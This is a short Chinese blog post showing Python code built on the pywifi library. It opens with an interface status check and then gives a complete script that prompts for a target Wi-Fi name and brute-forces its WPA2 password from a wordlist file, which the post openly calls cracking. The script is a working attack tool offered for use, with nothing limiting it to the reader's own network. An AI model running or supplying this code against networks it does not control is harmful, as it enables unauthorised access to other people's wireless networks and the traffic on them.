pywifi的簡單使用和測試破解方法

import pywifi
from pywifi import const

def gic():
    wifi = pywifi.PyWiFi()
    ifaces = wifi.interfaces()[0]
    print(ifaces.status())
    print(const.IFACE_CONNECTED)  #已連接
    print(const.IFACE_CONNECTING) #連接中
    print(const.IFACE_DISCONNECTED)  #未連接
    print(const.IFACE_INACTIVE)  #空閒
    print(const.IFACE_SCANNING)  #掃描
    if ifaces.status() == const.IFACE_CONNECTED:
        print("已連接")
    else:
        print("未連接")
gic()

這纔是正解!!!!!!!!!!!!!!!!!!!!!!!

 

密碼本可以自行創建。

import pywifi
from pywifi import const
import time
# 導入模塊
# 抓取網卡接口
# 斷開所有wifi
# 讀取密碼本
# 測試連接
# 設置睡眠時間
 
def gic(passwd):
    wifi = pywifi.PyWiFi()
    iface=wifi.interfaces()[0]
    # print(iface.name())
    iface.disconnect()
    time.sleep(1)
    if(iface.status()==const.IFACE_CONNECTED):
        print("已連接")
    else:
        print("未連接")
 
    # iface.scan()#掃描wifi
    # result=iface.scan_results()
    # for i in result:
    #     print(i.ssid)#打印wifi名字
    # time.sleep(200)

    profile = pywifi.Profile()
    # wifi名稱
    profile.ssid = SSID
    # 網卡開放
    profile.auth = const.AUTH_ALG_OPEN
    # 加密算法
    profile.akm.append(const.AKM_TYPE_WPA2PSK)
    # 加密單元
    profile.cipher = const.CIPHER_TYPE_CCMP
    # 密碼
    profile.key = passwd
    #刪除之前的連接文件
    iface.remove_all_network_profiles()
    newprofile=iface.add_network_profile(profile)
    iface.connect(newprofile)
    time.sleep(1)
    if(iface.status()==const.IFACE_CONNECTED):
        return True
    else:
        return False
# 讀取密碼
def readpsd():
    print("開始破解")
    path="./pass.txt"
    file=open(path,"r")
    while(True):
        # 捕獲讀取文件出現的錯誤時的異常
        try:
            passStr=file.readline()#讀取一行
            bool=gic(passStr)
            if bool:
                print("密碼正確",passStr)
                print('連接成功')
                break;
            else:
                print("密碼錯誤,繼續測試",passStr)
        except:
            continue
SSID = input('請輸入要破解的wifi名稱:')
readpsd()

 

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章